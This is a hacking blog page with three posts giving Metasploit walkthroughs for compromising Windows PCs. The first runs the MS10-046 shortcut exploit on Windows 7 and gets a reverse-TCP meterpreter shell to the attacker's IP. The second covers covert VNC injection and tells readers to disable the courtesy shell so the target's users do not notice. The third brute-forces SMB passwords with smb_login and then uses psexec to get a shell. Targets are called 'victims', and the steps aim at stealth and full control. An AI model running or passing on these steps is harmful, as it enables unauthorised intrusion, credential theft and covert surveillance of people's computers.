Blogger news

Showing posts with label LAN. Show all posts
Showing posts with label LAN. Show all posts

Thursday, May 26, 2016

Hack Windows 7 with Metasploit using Kali Linux

metasploit

Today i am gonna show how to exploit any windows OS using metasploit. Exploiting a windows vulnerability to logging  into the system with out username and password using Metasploit.



Before Hacking, you want to know about metasploit framework. If your are new one to hacking, its less possible to know about Metasploit.





Metasploit  Project is a computer security project that provides information about security vulnerabilities and aids in penetration testing and IDS signature development.



Its best-known sub-project is the open source Metasploit Framework, a tool for developing and executing exploit code against a remote target machine. Other important sub-projects include the Opcode Database, shellcode archive and related research.



The Metasploit Project is well known for its anti-forensic and evasion tools, some of which are built into the Metasploit Framework.

Requirements:



1. MetaSploit Installed ( Kali Linux Distribution)



2. Ruby Installed (Install all the package of Ruby to avoid any issues)



3. Two OS running either on same as virtual or physically different



4. Target host must not be running any AV







Machine 1:  Host   Kali  Linux  Machine



Machine 2: Target Windows 7 Machine







Msfconsole is by far the most popular part of the Metasploit Framework, and for good reason. It is one of the most flexible, feature-rich, and well-

supported tools within the Framework. Msfconsole provides a handy all-in-one interface to almost every option and setting available in the Framework; it’s like a one-stop shop for all of your exploitation dreams.







To launch msfconsole, enter msfconsole at the command line





#msfconsole


Screenshot from 2014-05-21 04:00:39


Now once you get the msf prompt type the below command  and look for the module exploit/windows/browser/ms10_046_shortcut_icon_dllloader.





An exploit is the means by which an attacker, or pen tester for that matter, takes advantage of a flaw within a system, an application, or a service. An attacker uses an exploit to attack a system in a way that results in a particular desired outcome that the developer never intended.





Here above  module exploits a vulnerability in the handling of Windows Shortcut files (.LNK) that contain an icon resource pointing to a malicious DLL.This module creates a WebDAV service that can be used to run an arbitrary payload when accessed as a UNC path.







Now once we have found the desired module we will use this exploit by typing the below command.





#msf > use  exploit/windows/browser/ms10_046_shortcut_icon_dllloader


Screenshot from 2014-05-21 04:03:27


Once loaded your msf prompt should be inclusive of the loaded exploit. given below is the image





Now once the exploit is loaded we will set the payload for the above select exploit. In our scenario will be using reverse TCP payload. Type the below command to set payload.





A payload is code that we want the system to execute and that is to be selected and delivered by the Framework. A reverse shell is a payload that

creates a connection from the target machine back to the attacker as a Windows command prompt, whereas a bind shell is a payload that

“binds” a command prompt to a listening port on the target machine, which the attacker can then connect.







#msf > set payload windows/meterpreter/reverse_tcp

Screenshot from 2014-05-21 04:03:40

Now its time to do some configuration for the exploit/payload that we have just set. type the given command


#msf > show options


You should get below default output

Screenshot from 2014-05-21 04:03:56

Now we have to set the local host to listen. Type the given below two commands.





#msf > set SRVHOST  192.168.31.20



This will be your HOST IP address running metasploit.



#msf > set LHOST 192.168.31.20





This will be also be your HOST IP address running metasploit.

Screenshot from 2014-05-21 04:04:46

Now check if the above applied configuration is applied.





#msf > show options

Screenshot from 2014-05-21 04:05:34


Now Finally we will start to exploit. Run the command Exploit.





#msf > exploit

Screenshot from 2014-05-21 04:06:21


Once executed we should “Server Started” (Make sure that your server is not running any web service on port 80)





On any Client machine simply open Internet Explorer and try to open http://192.168.31.20

Screenshot from 2014-05-21 04:30:07


Note: it will give your a pop-up asking from permission click ALLOW and Make sure you do not have any AntiVirus running on the target PC.





You can check the number of successful connected session by running the command sessons in msf console.





Now as we can see that we have one victim connected its time to login to the system. run the command session -i 1.





#meterpeter > session -i 1





Once connected type linux command to browse inside the System and have full control on it.

Screenshot from 2014-05-21 04:18:37





Thursday, April 14, 2016

Moniter Windows Desktop with VNCJNJECT in Metasploit


Hi guys!
Now i free time, i make tutorial show you "How to Moniter Windows Desktop using vncinject on Metasploit"
Ok, let's go..

VNC jnjection in Metasploit

Using the Metasploit payload for VNC injection, we can also inject a VNC server remotely, and can have the display thrown back to the host system. Users of the target system user will not notice that their display is being shared, though there is a trick—we have to disable the Metasploit courtesy shell which appears on the target system's display. If the courtesy shell is not disabled, then it will show a blue command prompt window at the time of exploitation, as shown in Figure 1. This can warn the users of the target system, and result in attack detection. After disabling the courtesy shell, it will not display the blue prompt, as you can see in Figure 2. VNC injection can also be used when a user is not logged in; in that case, don't bother to disable the courtesy shell.
-----------------#--------------


--------------------#------------------

Subscribe my channel, facebook to receve more tutorial's metasploit and hacking.
Thanks!!

Monday, March 28, 2016

Using smb_login and psexec in Matasploit attack any Windows PC

Hi guys!
Today, i make tutorial "Using smb_login and psexec in Metasploit attack any Windows PC".
Les't go...

In tutorial, i using two module "auxiliary/scanner/smb/smb_login" and "exploit/windows/smb/psexec" in Metasploit.
Step1: I using "auxiliary/scanner/smb/smb_login" for brute force attack password victim.
Befor i using smb_logn, i find username for victime (example: username as hostname, or using other solution find username with tool scanner nmap, soft pecfect network scanner Soft Perfect Network Scanner,...).
After brute force attack success, we have username and password of Windows PC.

Brute force password success!

Now, we using module "exploit/windows/smb/psexec" for get shell, vncserver, remote desktop,...

Parameter in psexec module.

We using payload "payload windows/meterpreter/reverse_tcp_rc4" to get shell victim.

We have to set options in module psexe if we want get shell.

Now we run "exploit/run" and enjoy 

We have shell victim :-D
Thereout, we can use payload "windows/vncinject/reverse_tcp_rc4" to get vncserver (remote desktop) victim.
Done!


Good luck guys!!